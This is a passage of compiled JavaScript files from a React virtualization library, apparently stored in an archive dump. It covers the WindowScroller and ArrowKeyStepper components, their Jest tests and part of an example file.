var getWindow = function getWindow() {
  return typeof window !== 'undefined' ? window : undefined;
};

var WindowScroller = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(WindowScroller, _React$PureComponent);

  function WindowScroller() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, WindowScroller);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(WindowScroller)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_window", getWindow());
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_isMounted", false);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_positionFromTop", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_positionFromLeft", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_detectElementResize", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_child", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", _objectSpread({}, (0, _dimensions.getDimensions)(_this.props.scrollElement, _this.props), {
      isScrolling: false,
      scrollLeft: 0,
      scrollTop: 0
    }));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_registerChild", function (element) {
      if (element && !(element instanceof Element)) {
        console.warn('WindowScroller registerChild expects to be passed Element or null');
      }

      _this._child = element;

      _this.updatePosition();
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onChildScroll", function (_ref) {
      var scrollTop = _ref.scrollTop;

      if (_this.state.scrollTop === scrollTop) {
        return;
      }

      var scrollElement = _this.props.scrollElement;

      if (scrollElement) {
        if (typeof scrollElement.scrollTo === 'function') {
          scrollElement.scrollTo(0, scrollTop + _this._positionFromTop);
        } else {
          scrollElement.scrollTop = scrollTop + _this._positionFromTop;
        }
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_registerResizeListener", function (element) {
      if (element === window) {
        window.addEventListener('resize', _this._onResize, false);
      } else {
        _this._detectElementResize.addResizeListener(element, _this._onResize);
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_unregisterResizeListener", function (element) {
      if (element === window) {
        window.removeEventListener('resize', _this._onResize, false);
      } else if (element) {
        _this._detectElementResize.removeResizeListener(element, _this._onResize);
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onResize", function () {
      _this.updatePosition();
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "__handleWindowScrollEvent", function () {
      if (!_this._isMounted) {
        return;
      }

      var onScroll = _this.props.onScroll;
      var scrollElement = _this.props.scrollElement;

      if (scrollElement) {
        var scrollOffset = (0, _dimensions.getScrollOffset)(scrollElement);
        var scrollLeft = Math.max(0, scrollOffset.left - _this._positionFromLeft);
        var scrollTop = Math.max(0, scrollOffset.top - _this._positionFromTop);

        _this.setState({
          isScrolling: true,
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });

        onScroll({
          scrollLeft: scrollLeft,
          scrollTop: scrollTop
        });
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "__resetIsScrolling", function () {
      _this.setState({
        isScrolling: false
      });
    });
    return _this;
  }

  (0, _createClass2["default"])(WindowScroller, [{
    key: "updatePosition",
    value: function updatePosition() {
      var scrollElement = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : this.props.scrollElement;
      var onResize = this.props.onResize;
      var _this$state = this.state,
          height = _this$state.height,
          width = _this$state.width;
      var thisNode = this._child || ReactDOM.findDOMNode(this);

      if (thisNode instanceof Element && scrollElement) {
        var offset = (0, _dimensions.getPositionOffset)(thisNode, scrollElement);
        this._positionFromTop = offset.top;
        this._positionFromLeft = offset.left;
      }

      var dimensions = (0, _dimensions.getDimensions)(scrollElement, this.props);

      if (height !== dimensions.height || width !== dimensions.width) {
        this.setState({
          height: dimensions.height,
          width: dimensions.width
        });
        onResize({
          height: dimensions.height,
          width: dimensions.width
        });
      }
    }
  }, {
    key: "componentDidMount",
    value: function componentDidMount() {
      var scrollElement = this.props.scrollElement;
      this._detectElementResize = (0, _detectElementResize["default"])();
      this.updatePosition(scrollElement);

      if (scrollElement) {
        (0, _onScroll.registerScrollListener)(this, scrollElement);

        this._registerResizeListener(scrollElement);
      }

      this._isMounted = true;
    }
  }, {
    key: "componentDidUpdate",
    value: function componentDidUpdate(prevProps, prevState) {
      var scrollElement = this.props.scrollElement;
      var prevScrollElement = prevProps.scrollElement;

      if (prevScrollElement !== scrollElement && prevScrollElement != null && scrollElement != null) {
        this.updatePosition(scrollElement);
        (0, _onScroll.unregisterScrollListener)(this, prevScrollElement);
        (0, _onScroll.registerScrollListener)(this, scrollElement);

        this._unregisterResizeListener(prevScrollElement);

        this._registerResizeListener(scrollElement);
      }
    }
  }, {
    key: "componentWillUnmount",
    value: function componentWillUnmount() {
      var scrollElement = this.props.scrollElement;

      if (scrollElement) {
        (0, _onScroll.unregisterScrollListener)(this, scrollElement);

        this._unregisterResizeListener(scrollElement);
      }

      this._isMounted = false;
    }
  }, {
    key: "render",
    value: function render() {
      var children = this.props.children;
      var _this$state2 = this.state,
          isScrolling = _this$state2.isScrolling,
          scrollTop = _this$state2.scrollTop,
          scrollLeft = _this$state2.scrollLeft,
          height = _this$state2.height,
          width = _this$state2.width;
      return children({
        onChildScroll: this._onChildScroll,
        registerChild: this._registerChild,
        height: height,
        isScrolling: isScrolling,
        scrollLeft: scrollLeft,
        scrollTop: scrollTop,
        width: width
      });
    }
  }]);
  return WindowScroller;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  /**
   * Function responsible for rendering children.
   * This function should implement the following signature:
   * ({ height, isScrolling, scrollLeft, scrollTop, width }) => PropTypes.element
   */
  "children": _propTypes["default"].func.isRequired,

  /** Callback to be invoked on-resize: ({ height, width }) */
  "onResize": _propTypes["default"].func.isRequired,

  /** Callback to be invoked on-scroll: ({ scrollLeft, scrollTop }) */
  "onScroll": _propTypes["default"].func.isRequired,

  /** Element to attach scroll event listeners. Defaults to window. */
  "scrollElement": _propTypes["default"].oneOfType([_propTypes["default"].any, function () {
    return (typeof Element === "function" ? _propTypes["default"].instanceOf(Element) : _propTypes["default"].any).apply(this, arguments);
  }]),

  /**
   * Wait this amount of time after the last scroll event before resetting child `pointer-events`.
   */
  "scrollingResetTimeInterval": _propTypes["default"].number.isRequired,

  /** Height used for server-side rendering */
  "serverHeight": _propTypes["default"].number.isRequired,

  /** Width used for server-side rendering */
  "serverWidth": _propTypes["default"].number.isRequired
}), _temp);
exports["default"] = WindowScroller;
(0, _defineProperty2["default"])(WindowScroller, "defaultProps", {
  onResize: function onResize() {},
  onScroll: function onScroll() {},
  scrollingResetTimeInterval: IS_SCROLLING_TIMEOUT,
  scrollElement: getWindow(),
  serverHeight: 0,
  serverWidth: 0
});commonjs/ArrowKeyStepper/types.js000064400000001055151677406000013210 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_ScrollIndices = void 0;

var _propTypes = _interopRequireDefault(require("prop-types"));

var bpfrpt_proptype_ScrollIndices = process.env.NODE_ENV === 'production' ? null : {
  "scrollToColumn": _propTypes["default"].number.isRequired,
  "scrollToRow": _propTypes["default"].number.isRequired
};
exports.bpfrpt_proptype_ScrollIndices = bpfrpt_proptype_ScrollIndices;commonjs/ArrowKeyStepper/ArrowKeyStepper.jest.js000064400000024552151677406000016125 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _ArrowKeyStepper = _interopRequireDefault(require("./ArrowKeyStepper"));

var _testUtils = require("react-dom/test-utils");

function renderTextContent(scrollToColumn, scrollToRow) {
  return "scrollToColumn:".concat(scrollToColumn, ", scrollToRow:").concat(scrollToRow);
}

function ChildComponent(_ref) {
  var scrollToColumn = _ref.scrollToColumn,
      scrollToRow = _ref.scrollToRow;
  return React.createElement("div", null, renderTextContent(scrollToColumn, scrollToRow));
}

describe('ArrowKeyStepper', function () {
  function renderHelper() {
    var props = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    var onSectionRenderedCallback;
    var component = (0, _TestUtils.render)(React.createElement(_ArrowKeyStepper["default"], (0, _extends2["default"])({
      columnCount: 10,
      mode: "edges",
      rowCount: 10
    }, props), function (_ref2) {
      var onSectionRendered = _ref2.onSectionRendered,
          scrollToColumn = _ref2.scrollToColumn,
          scrollToRow = _ref2.scrollToRow;
      onSectionRenderedCallback = onSectionRendered;
      return React.createElement(ChildComponent, {
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      });
    }));
    var node = (0, _reactDom.findDOMNode)(component);
    return {
      component: component,
      node: node,
      onSectionRendered: onSectionRenderedCallback
    };
  }

  function assertCurrentScrollTo(node, scrollToColumn, scrollToRow) {
    expect(node.textContent).toEqual(renderTextContent(scrollToColumn, scrollToRow));
  }

  it('should use a custom :className if one is specified', function () {
    var _renderHelper = renderHelper({
      className: 'foo'
    }),
        node = _renderHelper.node;

    expect(node.className).toEqual('foo');
  });
  it('should update :scrollToColumn and :scrollToRow in response to arrow keys', function () {
    var _renderHelper2 = renderHelper(),
        node = _renderHelper2.node;

    assertCurrentScrollTo(node, 0, 0);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 0, 1);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    assertCurrentScrollTo(node, 1, 1);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowUp'
    });

    assertCurrentScrollTo(node, 1, 0);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });

    assertCurrentScrollTo(node, 0, 0);
  });
  it('should not scroll past the row and column boundaries provided', function () {
    var _renderHelper3 = renderHelper({
      columnCount: 2,
      rowCount: 2
    }),
        node = _renderHelper3.node;

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 0, 1);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowUp'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowUp'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowUp'
    });

    assertCurrentScrollTo(node, 0, 0);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    assertCurrentScrollTo(node, 1, 0);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowLeft'
    });

    assertCurrentScrollTo(node, 0, 0);
  });
  it('should accept initial :scrollToColumn and :scrollToRow values via props', function () {
    var _renderHelper4 = renderHelper({
      mode: 'cells',
      scrollToColumn: 2,
      scrollToRow: 4
    }),
        node = _renderHelper4.node;

    assertCurrentScrollTo(node, 2, 4);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 2, 5);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    assertCurrentScrollTo(node, 3, 5);
  });
  it('should accept updated :scrollToColumn and :scrollToRow values via props', function () {
    var _renderHelper5 = renderHelper({
      mode: 'cells',
      scrollToColumn: 2,
      scrollToRow: 4
    }),
        node = _renderHelper5.node;

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 2, 5);
    renderHelper({
      mode: 'cells',
      scrollToColumn: 1,
      scrollToRow: 1
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    assertCurrentScrollTo(node, 2, 1);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 2, 2);
  });
  it('should accept updated :scrollToColumn and :scrollToRow values via setScrollIndexes()', function () {
    var _renderHelper6 = renderHelper({
      mode: 'cells',
      scrollToColumn: 2,
      scrollToRow: 4
    }),
        component = _renderHelper6.component,
        node = _renderHelper6.node;

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 2, 5);
    component.setScrollIndexes({
      scrollToColumn: 1,
      scrollToRow: 1
    });

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    assertCurrentScrollTo(node, 2, 1);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 2, 2);
  });
  it('should not update :scrollToColumn or :scrollToRow when :disabled', function () {
    var _renderHelper7 = renderHelper({
      disabled: true
    }),
        node = _renderHelper7.node;

    assertCurrentScrollTo(node, 0, 0);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowDown'
    });

    assertCurrentScrollTo(node, 0, 0);

    _testUtils.Simulate.keyDown(node, {
      key: 'ArrowRight'
    });

    assertCurrentScrollTo(node, 0, 0);
  });
  it('should call :onScrollToChange for key down', function () {
    [true, false].forEach(function () {
      var onScrollToChange = jest.fn();

      var _renderHelper8 = renderHelper({
        isControlled: true,
        onScrollToChange: onScrollToChange
      }),
          node = _renderHelper8.node;

      expect(onScrollToChange.mock.calls).toHaveLength(0);

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowDown'
      });

      expect(onScrollToChange.mock.calls).toHaveLength(1);
      var _onScrollToChange$moc = onScrollToChange.mock.calls[0][0],
          scrollToColumn = _onScrollToChange$moc.scrollToColumn,
          scrollToRow = _onScrollToChange$moc.scrollToRow;
      expect(scrollToColumn).toEqual(0);
      expect(scrollToRow).toEqual(1);
    });
  });
  it('should not call :onScrollToChange for prop update', function () {
    var numCalls = 0;

    var onScrollToChange = function onScrollToChange() {
      numCalls++;
    };

    var _renderHelper9 = renderHelper({
      onScrollToChange: onScrollToChange,
      scrollToColumn: 0,
      scrollToRow: 0
    }),
        node = _renderHelper9.node;

    renderHelper({
      isControlled: true,
      onScrollToChange: onScrollToChange,
      node: node,
      scrollToColumn: 0,
      scrollToRow: 1
    });
    expect(numCalls).toEqual(0);
  });
  describe('mode === "edges"', function () {
    it('should update :scrollToColumn and :scrollToRow relative to the most recent :onSectionRendered event', function () {
      var _renderHelper10 = renderHelper(),
          node = _renderHelper10.node,
          onSectionRendered = _renderHelper10.onSectionRendered;

      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 0,
        columnStopIndex: 4,
        rowStartIndex: 4,
        rowStopIndex: 6
      });

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowDown'
      });

      assertCurrentScrollTo(node, 0, 7);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 5,
        columnStopIndex: 10,
        rowStartIndex: 2,
        rowStopIndex: 4
      });

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowUp'
      });

      assertCurrentScrollTo(node, 0, 1);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 4,
        columnStopIndex: 8,
        rowStartIndex: 5,
        rowStopIndex: 10
      });

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowRight'
      });

      assertCurrentScrollTo(node, 9, 1);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 2,
        columnStopIndex: 4,
        rowStartIndex: 2,
        rowStopIndex: 4
      });

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowLeft'
      });

      assertCurrentScrollTo(node, 1, 1);
    });
  });
  describe('mode === "cells"', function () {
    it('should update :scrollToColumn and :scrollToRow relative to the most recent :onSectionRendered event', function () {
      var _renderHelper11 = renderHelper({
        mode: 'cells',
        scrollToColumn: 5,
        scrollToRow: 5
      }),
          node = _renderHelper11.node,
          onSectionRendered = _renderHelper11.onSectionRendered;

      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 10,
        columnStopIndex: 10,
        rowStartIndex: 15,
        rowStopIndex: 15
      });

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowUp'
      });

      assertCurrentScrollTo(node, 5, 4);

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowDown'
      });

      assertCurrentScrollTo(node, 5, 5);
      onSectionRendered({
        // Simulate a scroll
        columnStartIndex: 10,
        columnStopIndex: 10,
        rowStartIndex: 15,
        rowStopIndex: 15
      });

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowRight'
      });

      assertCurrentScrollTo(node, 6, 5);

      _testUtils.Simulate.keyDown(node, {
        key: 'ArrowLeft'
      });

      assertCurrentScrollTo(node, 5, 5);
    });
  });
});commonjs/ArrowKeyStepper/index.js000064400000001325151677406000013153 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "default", {
  enumerable: true,
  get: function get() {
    return _ArrowKeyStepper["default"];
  }
});
Object.defineProperty(exports, "ArrowKeyStepper", {
  enumerable: true,
  get: function get() {
    return _ArrowKeyStepper["default"];
  }
});
Object.defineProperty(exports, "bpfrpt_proptype_ScrollIndices", {
  enumerable: true,
  get: function get() {
    return _types.bpfrpt_proptype_ScrollIndices;
  }
});

var _ArrowKeyStepper = _interopRequireDefault(require("./ArrowKeyStepper"));

var _types = require("./types");commonjs/ArrowKeyStepper/ArrowKeyStepper.js000064400000022145151677406000015155 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _reactLifecyclesCompat = require("react-lifecycles-compat");

var _Grid = require("../Grid");

var _types = require("./types");

var _propTypes = _interopRequireDefault(require("prop-types"));

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var ArrowKeyStepper = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(ArrowKeyStepper, _React$PureComponent);

  function ArrowKeyStepper() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, ArrowKeyStepper);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(ArrowKeyStepper)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      scrollToColumn: 0,
      scrollToRow: 0,
      instanceProps: {
        prevScrollToColumn: 0,
        prevScrollToRow: 0
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_columnStartIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_columnStopIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowStartIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowStopIndex", 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onKeyDown", function (event) {
      var _this$props = _this.props,
          columnCount = _this$props.columnCount,
          disabled = _this$props.disabled,
          mode = _this$props.mode,
          rowCount = _this$props.rowCount;

      if (disabled) {
        return;
      }

      var _this$_getScrollState = _this._getScrollState(),
          scrollToColumnPrevious = _this$_getScrollState.scrollToColumn,
          scrollToRowPrevious = _this$_getScrollState.scrollToRow;

      var _this$_getScrollState2 = _this._getScrollState(),
          scrollToColumn = _this$_getScrollState2.scrollToColumn,
          scrollToRow = _this$_getScrollState2.scrollToRow; // The above cases all prevent default event event behavior.
      // This is to keep the grid from scrolling after the snap-to update.


      switch (event.key) {
        case 'ArrowDown':
          scrollToRow = mode === 'cells' ? Math.min(scrollToRow + 1, rowCount - 1) : Math.min(_this._rowStopIndex + 1, rowCount - 1);
          break;

        case 'ArrowLeft':
          scrollToColumn = mode === 'cells' ? Math.max(scrollToColumn - 1, 0) : Math.max(_this._columnStartIndex - 1, 0);
          break;

        case 'ArrowRight':
          scrollToColumn = mode === 'cells' ? Math.min(scrollToColumn + 1, columnCount - 1) : Math.min(_this._columnStopIndex + 1, columnCount - 1);
          break;

        case 'ArrowUp':
          scrollToRow = mode === 'cells' ? Math.max(scrollToRow - 1, 0) : Math.max(_this._rowStartIndex - 1, 0);
          break;
      }

      if (scrollToColumn !== scrollToColumnPrevious || scrollToRow !== scrollToRowPrevious) {
        event.preventDefault();

        _this._updateScrollState({
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow
        });
      }
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onSectionRendered", function (_ref) {
      var columnStartIndex = _ref.columnStartIndex,
          columnStopIndex = _ref.columnStopIndex,
          rowStartIndex = _ref.rowStartIndex,
          rowStopIndex = _ref.rowStopIndex;
      _this._columnStartIndex = columnStartIndex;
      _this._columnStopIndex = columnStopIndex;
      _this._rowStartIndex = rowStartIndex;
      _this._rowStopIndex = rowStopIndex;
    });
    return _this;
  }

  (0, _createClass2["default"])(ArrowKeyStepper, [{
    key: "setScrollIndexes",
    value: function setScrollIndexes(_ref2) {
      var scrollToColumn = _ref2.scrollToColumn,
          scrollToRow = _ref2.scrollToRow;
      this.setState({
        scrollToRow: scrollToRow,
        scrollToColumn: scrollToColumn
      });
    }
  }, {
    key: "render",
    value: function render() {
      var _this$props2 = this.props,
          className = _this$props2.className,
          children = _this$props2.children;

      var _this$_getScrollState3 = this._getScrollState(),
          scrollToColumn = _this$_getScrollState3.scrollToColumn,
          scrollToRow = _this$_getScrollState3.scrollToRow;

      return React.createElement("div", {
        className: className,
        onKeyDown: this._onKeyDown
      }, children({
        onSectionRendered: this._onSectionRendered,
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      }));
    }
  }, {
    key: "_getScrollState",
    value: function _getScrollState() {
      return this.props.isControlled ? this.props : this.state;
    }
  }, {
    key: "_updateScrollState",
    value: function _updateScrollState(_ref3) {
      var scrollToColumn = _ref3.scrollToColumn,
          scrollToRow = _ref3.scrollToRow;
      var _this$props3 = this.props,
          isControlled = _this$props3.isControlled,
          onScrollToChange = _this$props3.onScrollToChange;

      if (typeof onScrollToChange === 'function') {
        onScrollToChange({
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow
        });
      }

      if (!isControlled) {
        this.setState({
          scrollToColumn: scrollToColumn,
          scrollToRow: scrollToRow
        });
      }
    }
  }], [{
    key: "getDerivedStateFromProps",
    value: function getDerivedStateFromProps(nextProps, prevState) {
      if (nextProps.isControlled) {
        return {};
      }

      if (nextProps.scrollToColumn !== prevState.instanceProps.prevScrollToColumn || nextProps.scrollToRow !== prevState.instanceProps.prevScrollToRow) {
        return _objectSpread({}, prevState, {
          scrollToColumn: nextProps.scrollToColumn,
          scrollToRow: nextProps.scrollToRow,
          instanceProps: {
            prevScrollToColumn: nextProps.scrollToColumn,
            prevScrollToRow: nextProps.scrollToRow
          }
        });
      }

      return {};
    }
  }]);
  return ArrowKeyStepper;
}(React.PureComponent), (0, _defineProperty2["default"])(_class, "propTypes", process.env.NODE_ENV === 'production' ? null : {
  "children": _propTypes["default"].func.isRequired,
  "className": _propTypes["default"].string,
  "columnCount": _propTypes["default"].number.isRequired,
  "disabled": _propTypes["default"].bool.isRequired,
  "isControlled": _propTypes["default"].bool.isRequired,
  "mode": _propTypes["default"].oneOf(["cells", "edges"]).isRequired,
  "onScrollToChange": _propTypes["default"].func,
  "rowCount": _propTypes["default"].number.isRequired,
  "scrollToColumn": _propTypes["default"].number.isRequired,
  "scrollToRow": _propTypes["default"].number.isRequired
}), _temp);
(0, _defineProperty2["default"])(ArrowKeyStepper, "defaultProps", {
  disabled: false,
  isControlled: false,
  mode: 'edges',
  scrollToColumn: 0,
  scrollToRow: 0
});
(0, _reactLifecyclesCompat.polyfill)(ArrowKeyStepper);
var _default = ArrowKeyStepper;
exports["default"] = _default;commonjs/ArrowKeyStepper/ArrowKeyStepper.example.js000064400000022224151677406000016605 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _ = _interopRequireWildcard(require("./"));

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _Grid = _interopRequireDefault(require("../Grid"));

var _clsx2 = _interopRequireDefault(require("clsx"));

var _ArrowKeyStepperExample = _interopRequireDefault(require("./ArrowKeyStepper.example.css"));

var _class, _temp;

var ArrowKeyStepperExample = (_temp = _class =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(ArrowKeyStepperExample, _React$PureComponent);

  function ArrowKeyStepperExample() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, ArrowKeyStepperExample);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(ArrowKeyStepperExample)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      mode: 'edges',
      isClickable: true,
      scrollToColumn: 0,
      scrollToRow: 0
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_getColumnWidth", function (_ref) {
      var index = _ref.index;
      return (1 + index % 3) * 60;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_getRowHeight", function (_ref2) {
      var index = _ref2.index;
      return (1 + index % 3) * 30;
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_cellRenderer", function (_ref3) {
      var columnIndex = _ref3.columnIndex,
          key = _ref3.key,
          rowIndex = _ref3.rowIndex,
          scrollToColumn = _ref3.scrollToColumn,
          scrollToRow = _ref3.scrollToRow,
          style = _ref3.style;
      var className = (0, _clsx2["default"])(_ArrowKeyStepperExample["default"].Cell, (0, _defineProperty2["default"])({}, _ArrowKeyStepperExample["default"].FocusedCell, columnIndex === scrollToColumn && rowIndex === scrollToRow));
      return React.createElement("span", {
        role: "none",
        className: className,
        key: key,
        onClick: _this.state.isClickable && function () {
          return _this._selectCell({
            scrollToColumn: columnIndex,
            scrollToRow: rowIndex
          });
        },
        style: style
      }, "r:".concat(rowIndex, ", c:").concat(columnIndex));
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_selectCell", function (_ref4) {
      var scrollToColumn = _ref4.scrollToColumn,
          scrollToRow = _ref4.scrollToRow;

      _this.setState({
        scrollToColumn: scrollToColumn,
        scrollToRow: scrollToRow
      });
    });
